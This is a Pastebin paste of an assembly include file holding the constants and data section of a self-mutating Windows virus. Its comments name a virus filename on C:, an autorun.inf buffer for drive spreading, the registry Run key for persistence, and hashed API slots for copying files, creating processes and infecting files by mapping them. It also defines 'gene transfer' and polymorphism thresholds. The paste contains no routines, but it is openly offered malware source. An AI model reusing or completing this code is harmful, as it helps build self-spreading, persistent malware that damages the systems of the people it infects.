Advertisement
FlyFar

data_n_equs.inc

Jul 27th, 2023
1,627
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
MPASM 5.83 KB | Cybersecurity | 0 0
  1. ; ############################################################################
  2. ; ############################################################################
  3. ; #####
  4. ; ##### CONSTANT DEFINITION
  5. ; #####
  6.  
  7.   StartCodon EQU 0x98
  8.   StopCodon  EQU 0xB0
  9.  
  10.   CodeStart EQU 0x600
  11.  
  12.   ; One out of n bytes will be changed: 7 > n > (2^32 - 1)
  13.  
  14.                           ; THIS SHOULD BE A PRIME
  15.                           ; FOR GOOD RANDOMNESS!
  16.   IntronInsertThreshold EQU 5
  17.  
  18.   VarThreshold1     EQU 15013
  19.   xchgThreshold1    EQU 100003
  20.   InsertThreshold1  EQU 5
  21.   HGTThreshold1     EQU 5
  22.  
  23. ; #####
  24. ; ##### CONSTANT DEFINITION
  25. ; #####
  26. ; ############################################################################
  27. ; ############################################################################
  28.  
  29.  
  30.  
  31.  
  32. ; ############################################################################
  33. ; ############################################################################
  34. ; #####
  35. ; #####   DATA
  36. ; #####
  37.  
  38. DataOffset:
  39.     PseudoRegC  dd 0x0       ; Pseudo-Register, interact with nopsC and nopdC
  40.                      ; Just for internal useage, dont use that in code!
  41.                      ; If the relative position to DataOffset will change,
  42.                      ; also change it in instruction_set_macro.inc in _nopdC and _nopsC-macro
  43.                      ; (some additionals _add0001s, NOT addnumber-macro useage!)
  44.  
  45.     Place4Life  dd 0x0
  46.     RandomNumber    dd 0x0
  47.  
  48.  
  49.             db 0x0
  50.        Driveletter1 db 0x0
  51.             db 0x0, 0x0  ; buffer for ":\"
  52.  
  53.     RandomFileName: times 8 db 0x0   ; buffer for random filename
  54.        rndext:  times 4 db 0x0   ; .exe
  55.             db 0x0
  56.  
  57.             db 0x0
  58.        Driveletter2 db 0x0
  59.             db 0x0, 0x0 ; buffer for ":\"
  60.  
  61.        autoruninf:  times 11 db 0x0
  62.             db 0x0
  63.  
  64.  
  65.             db 0x0
  66.        Driveletter3 db 0x0, 0x0, 0x0     ; buffer for "C:\"
  67.  
  68.        virusname:   times 8 db 0x0       ; virus filename at C:
  69.        virext:  times 4 db 0x0       ; .exe
  70.             db 0x0
  71.  
  72.     RandomFileName2: times 8 db 0x0   ; buffer for random filename
  73.        rndext2:  times 4 db 0x0   ; .exe
  74.             db 0x0
  75.  
  76.     FileHandle  dd 0x0
  77.     MapHandle   dd 0x0
  78.     MapPointer  dd 0x0
  79.     FileSize    dd 0x0
  80.  
  81.     stDLLkernel32: times 12 db 0x0
  82.               db 0x0
  83.     stDLLadvapi32: times 12 db 0x0
  84.               db 0x0
  85.  
  86.     hDLLlibrary32  dd 0x0
  87.  
  88.     hAddressTable dd 0x0
  89.     hNamePointerTable dd 0x0
  90.     hOrdinalTable dd 0x0
  91.  
  92.     APINumber dd 0x0
  93.  
  94.    APINumberKernel EQU (APIMagicNumbersKernelEnd-APIMagicNumbersKernel)/4
  95.    APINumberAdvapi EQU (APIMagicNumbersRegEnd-APIMagicNumbersReg)/4
  96.  
  97.     APITmpBuffer dd 0x0
  98.     hMagicNumberPointer dd 0x0
  99.  
  100.    APIMagicNumbersKernel:
  101.     mCloseHandle dd 0x0 ; 0x0342
  102.     mCopyFileA   dd 0x0 ; 0x0C5C
  103.     mCreateFileA dd 0x0 ; 0x0615
  104.     mCreateFileMappingA dd 0x0 ; 0x04E1
  105.     mCreateProcessA   dd 0x0 ; 0x0674
  106.     mGetDriveTypeA    dd 0x0 ; 0x0AFD
  107.     mGetCommandLineA  dd 0x0 ; 0x06A8
  108.     mGetFileSize      dd 0x0 ; 0x083B
  109.     mWriteFile    dd 0x0 ; 0x078B
  110.     mGetTickCount     dd 0x0 ; 0x01B4
  111.     mMapViewOfFile    dd 0x0 ; 0x05EE
  112.     mSleep        dd 0x0 ; 0x07F9
  113.     mFindFirstFileA   dd 0x0 ; 0x094A
  114.     mFindNextFileA    dd 0x0 ; 0x0FE1
  115.     mUnmapViewOfFile  dd 0x0 ; 0x01D1
  116.     mSetErrorMode     dd 0x0 ; 0x0CBB
  117.    APIMagicNumbersKernelEnd:
  118.  
  119.    APIMagicNumbersReg:
  120.     mRegCreateKeyA    dd 0x0 ; 0x0EDC
  121.     mRegSetValueExA   dd 0x0 ; 0x0845
  122. ;        mRegCloseKey      dd 0x0F3D
  123.    APIMagicNumbersRegEnd:
  124.  
  125.  
  126.     hAddressePointer dd 0x0
  127.    APIAddresses:
  128.     hCloseHandle dd 0x0
  129.     hCopyFileA   dd 0x0
  130.     hCreateFileA dd 0x0
  131.     hCreateFileMappingA dd 0x0
  132.     hCreateProcessA   dd 0x0
  133.     hGetDriveTypeA    dd 0x0
  134.     hGetCommandLineA  dd 0x0
  135.     hGetFileSize      dd 0x0
  136.     hWriteFile    dd 0x0
  137.     hGetTickCount     dd 0x0
  138.     hMapViewOfFile    dd 0x0
  139.     hSleep        dd 0x0
  140.     hFindFirstFileA   dd 0x0
  141.     hFindNextFileA    dd 0x0
  142.     hUnmapViewOfFile  dd 0x0
  143.     hSetErrorMode     dd 0x0
  144.  
  145.    APIAddressesReg:
  146.     hRegCreateKeyA    dd 0x0
  147.     hRegSetValueExA   dd 0x0
  148. ;        hRegCloseKey      dd 0x0
  149.  
  150.  
  151.  
  152.     xchgBuffer dd 0x0
  153.  
  154.     InsStart dd 0x0
  155.     InsEnd   dd 0x0
  156.     nBlockSize  dd 0x0
  157.     nByteBlockToMov dd 0x0
  158.  
  159.     stSubKey: times 46 db 0x0 ; SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  160.                   ; will be created at runtime
  161.  
  162.     hRegKey dd 0x0
  163.  
  164.     AutoStartContentStart: times 51 db 0x0
  165.     AutoStartContentEnd:
  166.  
  167.  
  168.  
  169.  
  170. StartUp_struct:
  171.   StartUp_struct_cb      dd 0
  172.   StartUp_struct_lpReserved  dd 0
  173.   StartUp_struct_lpDesktop   dd 0
  174.   StartUp_struct_lpTitle     dd 0
  175.   StartUp_struct_dwX         dd 0
  176.   StartUp_struct_dwY         dd 0
  177.   StartUp_struct_dwXSize     dd 0
  178.   StartUp_struct_dwYSize     dd 0
  179.   StartUp_struct_dwXCountChars   dd 0
  180.   StartUp_struct_dwYCountChars   dd 0
  181.   StartUp_struct_dwFillAttribute dd 0
  182.   StartUp_struct_dwFlags     dd 0
  183.   StartUp_struct_wShowWindow     dw 0
  184.   StartUp_struct_cbReserved2     dw 0
  185.   StartUp_struct_lpReserved2     dd 0
  186.   StartUp_struct_hStdInput   dd 0
  187.   StartUp_struct_hStdOutput  dd 0
  188.   StartUp_struct_hStdError   dd 0
  189.  
  190.  
  191. ProcessInfo_struct:
  192.   PROCESS_INFORMATION_hProcess    dd 0
  193.   PROCESS_INFORMATION_hThread     dd 0
  194.   PROCESS_INFORMATION_dwProcessId dd 0
  195.   PROCESS_INFORMATION_dwThreadId  dd 0
  196.  
  197.  
  198.  
  199.  
  200. ; *********************************
  201. ; *** Horizontal_gene_transfer_data
  202.  
  203. WIN32_FIND_DATA_struct:
  204.   WIN32_FIND_DATA_dwFileAttributes   dd 0
  205.   WIN32_FIND_DATA_ftCreationTime     FILETIME
  206.   WIN32_FIND_DATA_ftLastAccessTime   FILETIME
  207.   WIN32_FIND_DATA_ftLastWriteTime    FILETIME
  208.   WIN32_FIND_DATA_nFileSizeHigh      dd 0
  209.   WIN32_FIND_DATA_nFileSizeLow       dd 0
  210.   WIN32_FIND_DATA_dwReserved0        dd 0
  211.   WIN32_FIND_DATA_dwReserved1        dd 0
  212.   WIN32_FIND_DATA_cFileName      db MAX_PATH dup (0)
  213.   WIN32_FIND_DATA_cAlternateFileName db 14 dup (0)
  214.  
  215.     HGT_searchmask     dd 0x0
  216.  
  217.     HGT_FFHandle       dd 0x0
  218.  
  219.  
  220.     HGTFileHandle      dd 0x0
  221.     HGTMapHandle       dd 0x0
  222.     HGTMapPointer      dd 0x0
  223.     HGTFileSize    dd 0x0
  224.     HGTDidInsert       dd 0x0
  225.  
  226. ; *********************************
  227. ; *** Redundancy polymorphism
  228.  
  229.     RPAminoAcid1    dd 0x0
  230.     RPAminoAcid2    dd 0x0
  231.  
  232. ; #####
  233. ; #####   DATA
  234. ; #####
  235. ; ############################################################################
  236. ; ############################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement